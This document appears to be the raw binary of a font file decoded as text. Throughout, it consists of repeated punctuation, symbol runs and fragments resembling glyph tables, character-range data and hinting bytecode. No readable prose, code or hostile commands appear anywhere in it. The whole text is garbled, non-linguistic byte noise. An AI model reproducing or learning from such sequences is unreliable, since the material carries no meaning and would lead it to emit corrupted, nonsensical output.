 - - - - - - - 2&2&2&2&2&* * 2'2'2'2'2'&&&'  - * * * * * 6'""*  ''' , - )" %"))))))))))))))!!!!!!000000@@11@@11"" ...........""""CC55/6######/6/6/6/6/6    !%"%"%"%"//// A? #00@@11 /6 # # # # # # # # ,& & ***/& '##-$3 ' 4* -2', ''$##+*-###  "MG=>0G7- ' ' :4- - '- - # MG=- <$* ' ' ' ' - - *** * '$ * )#!#' ' - - - - &  +% $  !000 .-    ! * -  85:)*,&%   """" ! -8- -#- *#$,!40' '''##+ #! -'* N$-$7)'4(0(=2#.(- /%/%>40$E1N$** &' ' #"+3&B2,*#6('2'2'6'' &"* * '0(' ' :4' , 6'## * * - - *%%%'3*& 837/&85<3- +'' ' ' ' ** * * * * ' ' ' ' ' #- * * * * *  ''' /1/1/1* * * * - - - - ' ' ****'''''$$$$* * * * * '':):)%%&### ) """"""""''//////,,6666 00;;;;;; !!!!!! 00;;88 /8;8--------..::7777"" --""""""""''////// 00;;;;;;--------..::7777"""""""''''' //22*  !! &&23,-----604.+ **0*D7'#:" '((((' +4  ( ###7  #+#)#)"& $# ! ! +K,/& )&+##+&."  .G::  +*0(533'* #"!***))))))))))))))!!00   ..../6/6/6 00 0   . ! ) 0  &     !! -' *"""""""" #'*''  + *' ''#&"7 '* * '#!& ***- :))*#<1 C2%%<- '%%%%%%%%%%'''%D--00-)40"-%704-40-)0-B+-)%%%"%%%%"9%%%%"%!/ !!'--0-040%%%%%%"%%%%%%%%%%%%%%%%%%$)11C%C40%%%%'!07%3<))'%%%)%%C--4C?%C%!!- %""%C-----444000%-")!0%-!-%''888%4%-"0"0"%%-%-%0)0-%-%%%%0%0%4%00-"))0%0%)!)!%45'%)+%"IC"C"C""B0'('((/*/////////////////////////////////////////////1(CBBBB(((DG=22$,(""21( ;((-%0"0"-%-%-%4%4%4%0%0%"-""%0%0%4%4%0-")0%0%0%0%B/-!-%C<4)B/B/B/-!%(8888-58482----)0--70,40-))-+82-'%%'"%%""'!%& %#04%%%4-:$0-"GD9'+0-,-$-->(00',7040-0)+3+2-=?5;,0D0%&$'%-%%'.%%$%"!7 C*0#"2$%%""=6%!%!CH.&$"((("((&#&% %"/+"""7""$////&&&$"(("(&&% %"/+$%'############222###2222222222222+222002222&#$$!!6>"6>"+'22222222222222222%C22222222222222222222222222222)+'000000&#$$&#$$&#$$!!!!77$$77$$JJ99JJ99''''''''$#$#55''((""##+'+'$($($($(22222222222222222222222222222222222222222222222222222222222222222222222222222222222222222C9,9-"88-%-%-%-%-%-%-%-%-%-%-%-%-%-%-%-%-%-%-%-%4%4%4%4%4%4%4%9,9,9,9,9,0%0%9-9-9-9-9--!-!-!-%4%0%0%0%0%0%$>-''0%%"%"-"-#-%2%4%0'+'00000000000000&#$$&#$$&#$$&#$$&#$$&#$$!!!!!!!!!!!!!!!!77$$77$$77$$JJ99JJ99''$#55555555555''''MM==6>"((((((6>"6>"6>"6>"6>"""""""""##########&#$$+'+'+'+'6666KI (77$$JJ99$#6>"$($($($($($($(##$(%3,%,%00"06,%%-()4*;-""<0%4:-3%--")))204")"))%%%%!%'YRFG8R?4%-%-%C<4%4%-"4%4%)%YRF4%E)0%-%-%-%-%4%4%000%0%-")%0%/)&)"-%-%4%4%4%4%-!%%%%""%%%2*"%%%")%%%&888%%%%54%$$"%&%"0"#"$%%""""4$"%%"%""A=C003,*!#   '''' $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'%4@4&4(4%0")*#3'<8-%-"--)(1%(&"4-0%%Z*4)@0-".-#:-:->--%,'0%0%-#8.-%-%C<-%2%>-((%0%0%4%4%0"+!+!+!-#;0,%A;@7,"A=E;4%2--%-%-%-%0"0%0%0%0%0%-%-%-%-%-%)4%0%0%0%0%0%-"-"-"%%%%7979790%0%0%0%4%4%4%4%-%-%0000-"-"-"-"-"))))0%0%0%0%0%-!-!B/B/+ + -!)!)!)!%/!%''''''''--77777733>>>>%%%%%%%%77DDDDDD&&&&&&%%%%%%77DDAA%%%%%%%%7@D@4444444455BB????''%%%%%%44''''''''--777777%%%%%%%%77DDDDDD4444444455BB????'''''''-----%%%%%77::0%%%%&&%%--:;344444>7<52%0080N?-)C"(#-....-%!2<$"%%!".%%")))?%%#$$%(1(!/!)"$#0',! ""*( && 2W37,$!!0,2))2,5'%5R"C"C % 108.=;;-0"%)""'&000$00000000000000&#$$&#$$!!77$$$#$#$#55556>"6>"6>"######""!!!!77$$%%8%%""%%5%%&%%0"8%%""""%%%%,"%%  && 4-%0''''''''%%%%%%%%%%%%$(-0--%"1%0-""""$-"-"(,'?!"%%-0%0%-")""'+0004%B//1(E8 ""K8**C2,**********,,,*L22662.:6&2*=6:2:62-62K11."***&****&?****&*%5$%%,22626:6******&******************(.77K)K:5)))*+%5>):C..,)*).**K22:KG*K)%%1 *&&*L22222:::666*2&.%6*1%2*,,???*:*2&6&6&*)2*2*6.62*2****6*6*:*662&--6*6*.%.%):<+*!.1)&RK&K&K&&I6,-,--5/5555555555555555555555555555555555555555555557-KJJJJ---MOE88(1-&&87!-B--2*6&6&2*2*2*:*:*:*6*6*&2&&*6*6*:*:*62&.6*6*6*6*K51%2*KC:.K5K5K51%*-????2;?:>82222.622=61:62.-11?81+!*)+&!**&&+%"*+$)'5;)*);2A)62&OL@,06212)32E-66,1=6:626-09172EF;B16L6*+(,*2"**!,4)*)*&"%>$+'<>/6'&8)**&&D=*!%)%KP4*)&--,&##--+(*)#$)&40%%%<&&##(4444***)&-,&##-+*)$)&40)#)+''''''''''''888'''88888888888880888668888*'((%%=F'=F'0,88888888888888888*K88888888888888888888888888888. 0,666666*'((*'((*'((%%%%>>((>>((RR??RR??,,,,,,,,)"')"';;,,--&&''" 0,0,)-)-)-)-88888888888888888888888888888888888888888888888888888888888888888888888888888888888888888 K@1@2&??2*2*2*2*2*2*2*2*2*2*2*2*2*2*2*2*2*2*2*2*:*:*:*:*:*:*:*@1@1@1@1@16*6*@2@2@2@2@21%1%1%2*:*6*6*6*6*6*)E2,!,!6)*&*&2&2'2*8*:*6, 0,66666666666666*'((*'((*'((*'((*'((*'((%%%%%%%%%%%%%%%%>>((>>((>>((RR??RR??,,)"';;;;;;;;;;;,,,,WWDD=F'------=F'=F'=F'=F'=F'&&&&&&&&''''''''''*'(( 0,0, 0,0,====TQ->>((RR??)"'=F%)-)-)-)-)-)-)-'')-*91*1*66&6=1**2-.:/B2&&C6*:A29*22&...86:&.&..))**"%*,d\OP>"\G:*2*2*KC:*:*2&:*:*.)d\O:*N.6*2*2*2*2*:*:*666*6*2&-)!6*5-*.&2*2*:*:*:*:*1%****&&***7""/&***&.***+>>>**)*;;)))&*+)&6&'&)))&&&&:(&*)&*&&HDK5 692/$( $,,,, ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))+):H:*;-:*6&./(9+C>3*3&22.-7*#-+&:!!26**d/:.G62&C4>3OA-"<4:*.Y@d/6&&6*1'2*2)-",!8(B1UA8'6&."E42'A2A2E22)1,6)6)2'>42*2*KC2*8*E2-"-)6*6*:*:*6&0%0%0%2'B61*IBH=2&IDNB:*822*2*2*2*6&6*6*6*6*6*2*2*2*2*2*.:*6*6*6*6*6*2&2&2&****=?=?=?6*6*6*6*:*:*:*:*2*2*66662&2&2&2&2&----6*6*6*6*6*2%2%K5K51$1$1%.%.%.%*5%*++++++++22======!!!!!!99FFFF********==LLLLLL++++++******>>MMII))))))))=HLH;;;;;;;;<C<8*66>6WG2.K&-'233442*%8C(&))%" &4**&...G"**'))")-7-%5%" .&)'5,"2"%  & &" /- ++! !8a9=1)%%""518..81;,*;\&K&K *76>4DCC26&*.&&,+666)66666666666666*'((*'((%%>>(()"')"')"';;;;=F'=F'=F'''''''&&%%%%>>((**>**&&**;*)+**5&>**&&&&****""1&*)  ++ :2*6++++++++)))))))))))))-"2622*&7*62&&&&)2&2&-"1,G%&**26*6*2&.&&+ 1666:*K557-N?!&&S>..J7 0..........000.T77<<73A<*7.E>,61**>=%2I227.<*<*7.7.7.A.A.A.<.<.*7+*.<.<.A.A.<7*3<.<.<.<.S;6'7.SJA3S;S;S;6'.2EEEE7AF @D>77773<77E<6A<73468E>60%.-0*%..**0)%./(-,;A-.-A7H-<7*XTG05<767-87M2<<06E-..**KC.$'.)"SY9 /-!*2 21*&&220,/-&(.*:5)))#C**&&,::::///-!*2"1*&&20/-(.*:5-&-0",,,,,,,,,,,,>>>,,,>>>>>>>>>>>>>5>>>;;>>>>/,,,))CM!+CM!+51>>>>>>>>>>>>>>>>>.S>>>>>>>>>>>>>>>>>>>>>>>>>>>>>3"$$51;;;;;;/,,,/,,,/,,,))))DD,,DD,,[[FF[[FF00000000-%,!-%,!AA0022!!**!!,,%!$$5151-2-2-2-2>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> SG6G8+EE7.7.7.7.7.7.7.7.7.7.7.7.7.7.7.7.7.7.7.7.A.A.A.A.A.A.A.G6G6G6G6G6<.<.G8G8G8G8G86'6'6'7.A.<.<.<.<.<.-M80$0$<..*.*7*7+7.>.A.;0$$$$51;;;;;;;;;;;;;;/,,,/,,,/,,,/,,,/,,,/,,,))))))))))))))))DD,,DD,,DD,,[[FF[[FF00-%,!AAAAAAAAAAA0000``KKCM!+22!!22!!22!!CM!+CM!+CM!+CM!+CM!+********,,,,,,,,,,/,,, $$$$$$$$$$$$$$$$5151$$5151CCCC]Z2DD,,[[FF-%,!"CM)-2-2-2-2-2-2-2,,-2.?6.6.<<*<@*3*33--..&(."0oeWXE%eN@.7.7.SJA.A.7+A.A.3-oeWA.V3<.7.7.7.7.A.A.<<<.<.7*4-$<.;2/3*7.7.A.A.A.A.6'....**...=&&4*...*3.../EEE....BA.--*./-*<*+*---****A,*..!*".**PKS;$,I6^H?+<*3&M97+G7G7M87.60<.<.7+E97.7.SJ7.>.M82&2-<.<.A.A.<*5'5'5'7+I<6.PIOD7*QLVIA.>77.7.7.7.<*<.<.<.<.<.7.7.7.7.7.3A.<.<.<.<.<.7+7+7+....EGEGEG<.<.<.<.A.A.A.A.7.7.<<<<7*7*7*7*7*4444<.<.<.<.<.7)7)S;S;8*8*6'3(3(3(.;'.0000000077DDDDDD%%%%%%??MMMM........DDTTTTTT//////......EEUUQQ--------DPTPAAAAAAAABBRRNNNN00%%....--AA0000000077DDDDDD........DDTTTTTTAAAAAAAABBRRNNNN000000077777.....DDHH<##----//--66HJ?AAAAAMEJB>.<J,*..)&#*!9..*333N&..+--&-2=2);(*-+;0&7""%"")$#*$$* #%$$42 0  "0 %   %=l?D7-))%!%!;6>23>6B0.Be*S*S.==8)333.3343/M3334.3-A---6==B=BHB333333.333333333333333%333 18DD\3\HB33335-BL3""GR886233933\==H\W3\3--=3..3]=====HHHBBB3=.8-B3=-=366MMM3H4=.B.B.33=3=3B9B=3=3333B3B3H3BB=.99#B3B38-8-3HI53)9$<3."d\.\.\..ZB68688A:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC8\[[[[888^aTEE1<7/.ED)8!Q8!!8!=3B.B.=3=3=3H4H4H3B3B3.=/.3B3C3H3H3B=.8B3B3B3B3[A=-=3\RH8[A[A[A=-37MMMM=HM#GME====8B==KBME=5)325.)33..5-)34,20BH232H=P2B=.a]O6:B=<=2>=U8BB6D=TVIQ*33(6?3323.*-L-50JL:B0/E233"/.SK3(-3-&\c?#42%/7#76/*+77 5142*,3/@;...&L//++1@@@@4442%/7&6/*+7 542,3/@;2*25!&000000000000EEE000EEEEEEEEEEEEE;EEEBBEEEE4011--KV$/KV$/;6#EEEEEEEEEEEEEEEEE3\EEEEEEEEEEEEEEEEEEEEEEEEEEEEE9&((;6BB#BBBB401140114011----LL11LL11eeNNeeNN666666662)0$2)0$II6677$$//$$00#)$((;6;627272727EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE \O/MM=3=3=3=3=3=3=3=3=3=3=3=3=3=3=3=3=3=3=3=3H3H3H3H3H3H3H3OO>O>O>O>=-=-=-=3H3B3B3B3B3B32"U>6(6(B33.3.=.=0=3E3H3B6((((;6BBBBBBBBBBBBBB401140114011401140114011----------------LL11LL11LL11eeNNeeNN662)0$IIIIIIIIIII6666jjSSKV$/77$$77$$77$$KV$/KV$/KV$/KV$/KV$/////////00000000004011#$$$((((((((((((((((;6;6((;6;6KKKKgd"7LL11eeNN2)0$&KV.2727272727272700273F<3<3BB.BJ<33=88H9Q=..RB3HP=E3==.9#88EBG.8.882233*-3&6{pabM*pWG3=3=3\RH3H4=/H3H382{paH4_9B3=3=3=3=3H3H3BBB3B3=.92(B3A848.=3=3H3H3H3H3=-3333..333D**:/343.9333!5MMM3333IH322. 342.B.0.222....H1/33%.%3..YS]B'BF=:-1##",! 6666 #####222222222#22222#22222#22222#22222#222222222#22222#22222#22222#22222#222222222#22222#22222#22222#22222#222222222#22222#22222#22222#22222#222252GXG4H7H3B.8%91F5RM>3>.==87D3+&75.H))=B33{9H8WB=.S@L?aP8*I?H3J:J:cRM8nN{9B..B3<0=3>38*6(D1Q=3<6B3B3=0M?=3=3\R=3E3U>8*82B3B3H3H3B/:-:-:-=0QB<3YQXK=/YT_QH3E==3=3=3=3B.B3B3B3B3B3=3=3=3=3=38H4B3B3B3B3B3=/=/=/3333KMKMKMB3B3B3B3H3H3H3H3=3=3BBBB=.=.=.=.=.9999B3B3B3B3B3=-=-[A[A>->-=-8-8-8-3A-355555555==KKKKKK))))))FFUUUU33333333KK]]]]]]##555555333333LL^^ZZ22222222KX]XHHHHHHHHII[[WWWW55))333322HH55555555==KKKKKK33333333KK]]]]]]HHHHHHHHII[[WWWW5555555=====33333KKPPB''22224422==ORFHHHHHULRIE3BBMBkW=8\.70=? ?"??%%=3.ER1.33-*'.%?33.888W*33022*27C7-A-*'8".20B6*=&&)&&.'' /('/#'*('9""#7##""#5##!####%5$##( ###( DxFK<2--)$)$AHCcBB=+8!88288782T8887!281G111!!:CCHCHNH8888882888888888888888(888#6=JJd!!7dNG7778:1GR7%%MY==:787=88dCCNd^8d!!711B8!!228!dCCCCCNNNHHH!!!!!!!!!8C2=1H8B1C8::!!!SSS8N7C2H2H287!C8C8H=HC8C8888!H8H8N8H!H!C2>>&H8H8=1=17NP:8->(A72$md2d2d22bH:<:<>BBTKB:-87:2,8822:1-89074GN787NCV6HC2jeU:@HCBC6DC\@LBJC\^OYBHeH895$:8C.88,:E78682.1R194PR?H43K688$32[Q8,171)dkE&86(3<&<;3..<<#9597.073E@111*O33..6EEEE8886(3<);3..<#997073E@6.7: $)55555555555 5KKK555KKKKKKKKKKKKK@KKKGGKKKK855511Q]'3Q]'3@;&KKKKKKKKKKKKKKKKK8dKKKKKKKKKKKKKKKKKKKKKKKKKKKK K>)++@;GG&GGGG855585558555""""1111RR55RR55nnUUnnUU::::::::6-5'6-5'OO::<<''33""''55&-'++@;@;6<6<6<6XC22YH8NWCK8CC2>&==KHM2=2==7788.18):zijS-z^M8C8C8dYN8N7C2N8N8=7ziN7g>H8C8C8C8C8N8N8H!H!H8H8C2>7,H8G<9=2C8C8N8N8N8N8B1888822888J..?38782>888$!9SSS8878ON7!!!!!!!662#8972H2426772222N5387(2(822`[eG+HLB?15&&$0 $!!##::::!!!!!!!!!!!!!!! "!#&&&&&!!!!!666666666&66666&66666&66666&66666&666666666&66666&66666&66666&66666&666666666&66666&66666&66666&66666&666666666&66666&66666&66666&66666&6666!!!:7M`M8N5L:YSC8C2CC=N=_GC2ZFSEiW<.PEN8P?P?kZS=wU>H22H8B4C8C7<.:,J6XArWK4H2=.]EC4VCVC\CC7B:H7H7C4SE!C8C8dYC8K8\C<.<7H8H8N8N8H3@1@1@1C4YHB8aX`RB3a[gXN8KCC8C8C8C8H2H8H8H8H8H8C8C8C8C8C8=N7H8H8H8H8H8C2C2C28888STSTSTH8H8H8H8N8N8N8N8C8C8H!H!H!H!C2C2C2C2C2>>>>H8H8H8H8H8C1C1cGcGB1B1B1=1=1=18G18::::::::CCQQQQQQ------LL]]]]88888888RRffffff&&999999888888SSffaa77777777Q`e`NNNNNNNNPPcc^^^^::--888877NN::::::::CCQQQQQQ88888888RRffffffNNNNNNNNPPcc^^^^:::::::CCCCC!!!!!88888QQWWH!!!**!!!77779977BBVYL!!!NNNNN\SYPK!!8HHSHt^C=d2;4CD#D%EE!!!!!!!!!!!!!((!C82KY52771.*2(E882===^.88466.7%%&<&&%% &"9&&#&&&&)9 '' &,"& ' &,"JLRB6""11-'-'GAK==KBO:8!#Oz2d2d!8JHSE[YYCH28=22:9HHH6$#GGGGGGGGGGGGGG85558555""""11RR556-5'6-5'6-5'OOOOQ]'3Q]'3Q]'3""''""''555555331111RR5588S88!!228&8O87988G2S88!2'2228888..A287&##% &&99&&&&&"&'&# $$$%$%%&!%NC8H!::::::::7777777777776<-CHCC82J8H!C22226$C2C2<.B:^1288CH8H8C2=22:+AHHHN7cGFI D ^ o  !!!!"!&!.!N!T!^!!!"""""""")"+"H"a"e###!%%% %%%%%$%,%4%<%l%%%%%%%%%%%%%%%&<&@&B&`&c&f&k&o,m,w.!6<>ADb?# !Z$PtzP !@`Pkl HPY[]_  & * 2 9 < > D ^ j  !!!!"!&!.!M!S![!!!"""""""")"+"H"`"d### %%% %%%%%$%,%4%<%P%%%%%%%%%%%%%%%&:&@&B&`&c&e&j&o,`,q.8>@CF^> =)i*)6M wj9X}jy,ߨߖޖޢދަq_0@3$FE<9630)"ۿ۾۷ۥۯEBA$"!޻> c4^F8"46h    H 6 T r ~ x ~ b d ` N h r ^bcdefghjikmlnoqprsutvwxzy{}|~      !"#$%&'()*$jklm     !"      #$%&'()*+%           ! " # $ % & ' (BzCDEFGtHIJKLMNOPQRSTUVWXYZ[\]^_` ) * + , - . / 0 1 2 3   +,  -   ./0 !"12#3$%&'()*+ 4 5 ,-./01234567z{|}~ B             !"#                ! " #  % & ' ( ) * + ,$% - . / 0 1 2 3 4 5 6 7 8 9 :&' ; < = > ? @ A B C D E F G H   I J K L M N O P Q R S T U V W X    Y Z [ \ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v  w  3 89: (,;<>@9BDFHJNRVZ^bfjnrv'z~+-1  !"$&(*,.05248:>@BDEFGHIJKLMNOPQRSTUVWXYZN[    \`dhi        " & ( * , 0 4 8 < @ D H L P T X \ ` d h j l                   4 NORPQ  UVWXST   7  ~       ?Avw|    ! " # $ % & ' ( ) I J K L * + , - . / 0 1 Q R S T U 2 3 V M N O Ptuw <=RSTU !"bcdeNOPQ^_`aJKLMrstunopq'()*z{|}~+,-./01234LMjkl@ABC()&'*+F01$%,-:;<=))56  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~66~ Y#Oou~ O:^mjkEMWY[]}  " & 0 4 : < > D ^ o  !!!!"!&!.!N!T!^!!!"""""""")"+"H"a"e###!%%% %%%%%$%,%4%<%l%%%%%%%%%%%%%%%&<&@&B&`&c&f&k&o,m,w.!6<>ADb?# !Z$PtzP !@`Pkl HPY[]_  & * 2 9 < > D ^ j  !!!!"!&!.!M!S![!!!"""""""")"+"H"`"d### %%% %%%%%$%,%4%<%P%%%%%%%%%%%%%%%&:&@&B&`&c&e&j&o,`,q.8>@CF^> =)i*)6M wj9X}jy,ߨߖޖޢދަq_0@3$FE<9630)"ۿ۾۷ۥۯEBA$"!޻> c4^F8"46h    H 6 T r ~ x ~ b d ` N h r ^bcdefghjikmlnoqprsutvwxzy{}|~      !"#$%&'()*$jklm     !"      #$%&'()*+%           ! " # $ % & ' (BzCDEFGtHIJKLMNOPQRSTUVWXYZ[\]^_` ) * + , - . / 0 1 2 3   +,  -   ./0 !"12#3$%&'()*+ 4 5 ,-./01234567z{|}~ B             !"#                ! " #  % & ' ( ) * + ,$% - . / 0 1 2 3 4 5 6 7 8 9 :&' ; < = > ? @ A B C D E F G H   I J K L M N O P Q R S T U V W X    Y Z [ \ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v  w  3 89: (,;<>@9BDFHJNRVZ^bfjnrv'z~+-1  !"$&(*,.05248:>@BDEFGHIJKLMNOPQRSTUVWXYZN[    \`dhi        " & ( * , 0 4 8 < @ D H L P T X \ ` d h j l                   4 NORPQ  UVWXST   7  ~       ?Avw|    ! " # $ % & ' ( ) I J K L * + , - . / 0 1 Q R S T U 2 3 V M N O Ptuw <=RSTU !"bcdeNOPQ^_`aJKLMrstunopq'()*z{|}~+,-./01234LMjkl@ABC()&'*+F01$%,-:;<=))56@CUTA@?>=<;:987543210/.-,+*)('&%$#"!  ,E#F` &`&#HH-,E#F#a &a&#HH-,E#F` a F`&#HH-,E#F#a ` &a a&#HH-,E#F`@a f`&#HH-,E#F#a@` &a@a&#HH-, <<-, E# D# ZQX# D#Y QX# MD#Y QX# D#Y!!-, EhD ` EFvhE`D-, C#Ce -, C#C -,#p>#pE: -,E#DE#D-, E%EadPQXED!!Y-,Cc#b#B+-, EC`D-,CCe -, i@a ,b`+ d#da\XaY-,E+#Dz-,E+#D-,CXE+#DzEi #D QX+#Dz!zYY-,-,%F`F@aH-,KS \XYXY-, %E#DE#DEe#E %`j #B#hj`a Ry!@E TX#!?#YaDRy@ E TX#!?#YaD-,C#C -,C#C -, C#C -, C#Ce -,C#Ce -,C#Ce -,KRXED!!Y-, %#I@` c RX#%8#%e8c8!!!!!Y-,KdQXEi C`:!!!Y-,%# `#-,%# a#-,%-, ` <<-, a <<-,++**-,CC -,>**-,5-,v##p #E PXaY:/-,!! d#d@b-,!QX d#d b@/+Y`-,!QX d#dUb/+Y`-, d#d@b`#!-,&&&&Eh:-,&&&&Ehe:-,KS#KQZX E`D!!Y-,KTX E`D!!Y-,KS#KQZX8!!Y-,KTX8!!Y-,CXY-,CXY-,KTC\ZX8!!Y-,C\X %% d#dadQX%% F`H F`HY !!!!Y-,C\X %% d#dadQX%% F`H F`HY !!!!Y-,KS#KQZX:+!!Y-,KS#KQZX;+!!Y-,KS#KQZC\ZX8!!Y-, KT&KTZ C\ZX8!!Y-,KRX%%I%%Ia TX! CUX%%88Y@TX CTX%8Y CTX%%88%8YYYY!!!!-,F#F`F# F`ab# #ŠpE` PXaFY`h:-,B#Q@SZX TXC`BY$QX @TXC`B$TX C`BKKRXC`BY@TXC`BY@cTXC`BY@cTXC`BY@cTX@C`BYYYYY-,CTXKS#KQZX8!!Y!!!!Y-T(&м)))+';@#2A- /   o   _ o A'/O__o@3@3@jl2@a3@\]2@WY2@MQ2@DI2@:3@142@.B2@',2@%2 2Ap@$&2d 2A d2AJ?/?_?Ӳ792Ӳ+/2Ӳ%2Ӳ2Ӳ2Ҳ)&;@">3"%12A!?!!!!!@! "2@!2@"*?2@!.:2oAH/`?_"""/"?"_"""!!o!!!/!?!O!""!!@+HO7 A &A9&%8s542V&, /& 8ʸ&~&}Gke&^s@R&ZHDb@s?^<&50+*V)#U7h@,XO62,!  @+JKKSBKcKb S# QZ#BKKTB8+KR7+KP[XY8+TXCX(YYv??>9FD>9FD>9FD>9FD>9F`D>9F`D+++++++++++++++++++++++KSXY2KSXYKS \XEDEDYX>ERX>DYYKVS \X ED&EDYX ERX DYYKS \X%ED$EDYX %ERX% DYYKS \Xs$ED$$EDYX sERXs DYYKS \X%ED%%EDYXERXDYYK>S \XEDEDYXERXDYYKVS \XED/EDYXERXDYYKS \XEDEDYX ERX DYY+++++++++++++++++++++++++++++++++++++++++eB++;Yc\Ee#E`#Ee`#E`vhb cYEe#E &`bch &aeY#eDc#D ;\Ee#E &`bch &ae\#eD;#D\ETX\@eD;@;E#aDYGP47Ee#E`#Ee`#E`vhb 4PEe#E &`bch &aeP#eD4#D G7Ee#E &`bch &ae7#eDG#D7ETX7@eDG@GE#aDYKSBKPXBYC\XBY CX`!YBp>CX;!~ +Y #B #BCX-A-A +Y#B#BCX~;! +Y#B#B+tusuEiDEiDEiDsssstustu++++tu+++++sssssssssssssssssssssssss+++E@aDstK*SK?QZXE@`DYK:SK?QZX E`DYK.SK:QZXE@`DYK.SKLQ_jqx !".5BOO^eq *G]ety "&+G_u\ m6>PQ]`E3-_dM?}$x;;N&;MKSj1<ex ~ 90+ P >X!q}E +NT2N7kwdg3|)n*i9$]u MRhm}qyXgV%|2!r\/AMrLjUxiWnTgeRZgn-|{pLFF-S%>S?("bJmH3NFpyQ hlOa+{eRtei\@u****~ N 8 ~ d VR "Vp b !#%'(V)*b+,-./z12:5d78B9H;<=@RAB$CEHJKL2LMMMN8Q RTVPXYb[R\]_abdfhNjklpVqzsu6y{~NP<pT:V`(VTX(lLp"N>R$Nr>,|2RNv Xp Jv$j<Őp<ɴ 2hТ"ф XҊLӊP@&b׸@جzfXی4ܬ&@r4jJ* J~N@(f><Fv0h4dZNtDh`f ,   ,  \^:&4~ @`Hp$Nz<f(lFx`Fb~@!$\$x$$$$%%^%&&'l(B()J)*P**+R+,l-*-V--/b0V00011L1112 2P222343d334444d446678n:$:T:::;;>;b;;=&=^=? ?N?|??A0BCC@C|CCCD&DVEFFFGGXGGGH HFHHHI6J JKKKLLDLLLMMDMMMN"NNPQS(UXWY:YZ(Z8Z\]_\`Lacfggg(h@hPh`hphhiiijBjRk"k2lDlTldltmoop(p^ppqq:rt u`vxLxzB{^{n{~}}~zfHn:jR4XJz"2BR,<L\T: >H06F.~4DT$ P^ rʺ jΨNrѲ Ӧւ֦DٴۘܐDHp 0d,p:Zz8"F&DJD4<>h0`0h@pT   `   ^ &d(d 66:| 8!(!"#$|$'\''(h()*++,,B,l,..@.j...//</f///0112223 3J3t57:8h8x9:;J=>?A<C`DFGIIJ&JPJzJJJK"KLKvKKKLLHLrNP*QnSVTTTU"URUUV2VVWVWWX$XjXXYYLZ]]^^H^r^^^__D_n___``@`j```aa<afaaabb8bbccc@f f0gJhlijllmo4q$rtt tu0v0v@vvxyXzz{f{v||~~ T`,|^nhx(82N244Hd.42BRbtjzx"2BhxĤɌτϮ"LvІЖ 4^шјѨѸ"2\҆Ұ.XӂӬ*T~Ԩ&Pzդ"Lv֠HrלDnؘ@jٔپ<fڐںۮhܒܼ:dݎݸ 6`ފ޴2\߆߰.X"JDb:Jd4R4JZh<N`rr*<N`p6(b \"v>R*v8 , t    & V   F   d    (X4fN ^n6rN~(VF"R 0\HBr,`LzHh 0 !V#B%>&(2)+,v-./02 3t46x799:@;|<>B??@H@B^BCCDDEG0GIZIJNKKLLM>MMNrNNO<OOP$PQ(QjQQRRDRrRRSS^SSTTJT|TTUULUUV VLVVW*WlWWX.XhXXY:YxYYZDZZ[[N[[\ \F\\] ]N]^0^r^____` `X`aabbTbbc<ccd(ddee8epeffBffggXggh8h~hiipijjhjkkLkl4lmmZmmnnRnnoodopp\ppqrHrrss^st(ttuufuvvLvvww\wx"xZxxyyz{||}8}}~B~~R>F v&h"^T8$:V <bdf`*:J20r*n`4tx.|:ltR\R v0jH< <^@L\lz2^"Ʉ:tʠ&`̼ rъӾBՀվ:֔@עtlzېJ܆޴Lnf\8H` N^Pd0T(6b|fvVL   b  b,<@Pt8d6 p !$!T!#$$$%4%%%&"&d&&''P'''(.(^)T*X**+ +>+n++,,>,n,,- -:-n--..<.p..//</l///12r345 5D57H89h:|::;==>X??@D@t@@AfAACVDEFGI<JKM2NPPQRSUU$V WXYZ[\6\\]^*^_`abcde2fDghijk<llmnn^oprsRtRu,vjwwxyzz{|}~F8^0(:JVNv<Plff6Rx8nr`pl6j|R~H\"Z6JZ\œ nTľ2ŢƦ>Ǫ:ȘɮZZ@ͤP:Ϧ~тhDӴ$Ԩ8՞֔ ײN<Vۊ4(~ތ4^L`$^dd0@,X "0`b.XLFl dpFh^JPX@x2PLD  V   N    >  tF `6| 0"R>4^h  ~ !p!"X# #f#$$d$%J%&'))*8-^-.T.0 1\123H4V5`667|89 : :; ;T<=>>?(@A>BDEEFGlHI@IK`LMNOP`Q2RT U<VXXYdZP[,[]X^^^^_`F```a&bdefhFijnk0lm noqsuw&xxz2{|}}~B`(jnXdfRDL< (BNP@ :X>B <XNdT@tƨƸ(\ǐ,`JʂʶRˆ˺(X̘^͒8:ӨR֞״ۺްߠ\JXd|VZR:86ZxF|0b jHx.TRz(Nt>n,RBhv(l  0 |    8 ^    0 V |    ( N t    p 66h4b$f"Jr$ :p 2ZPx(>,\$d 2X~$` XJH  `  !!6!j!!"*"v"#&#~#$ $<$r$$%%N%%&*&~&'&'z'(*(X((()0)v))*,**+ +P++,<,l,,--F--.*.|././//0*0d01 1T112H2233F3z3344X4445R566d677D7t7788b8899F999:.:t:; ;V;<L>>?L??@@`@@A:A~ABJBCC|CDLDDEFEEF"FnFGGRGHHpHIPIJ J`JJKKXKKLL>LzLLM(MfMNOP P0PPPQ@QQR(RNS6TUlUUV\VWWWWXHXYzZV[[[\]]H]x]^8^h^^_2_``a*a|aab0bzbcc@ccd.degiPjlDnqsvtwxXznz{{f{||~bP.J@6j$Bl|NR\rV"HNB"2($4DBRbrdtfXl@æ `0Ѩ Ԡ.Nٲ$V&R,x .pn064t | L|"^>" 4     6   8J(8HXhh!"N#`$&J&'@'))^)+0+@,.*.z.//00012|23,335566677H77888889 9L99: :`:;;N;;<>Z>>?T??@@A:A~ABBC0CxCDDDE&EFFrFGGhGGH:HvHHI(IjIIJ,JvJKKnKL 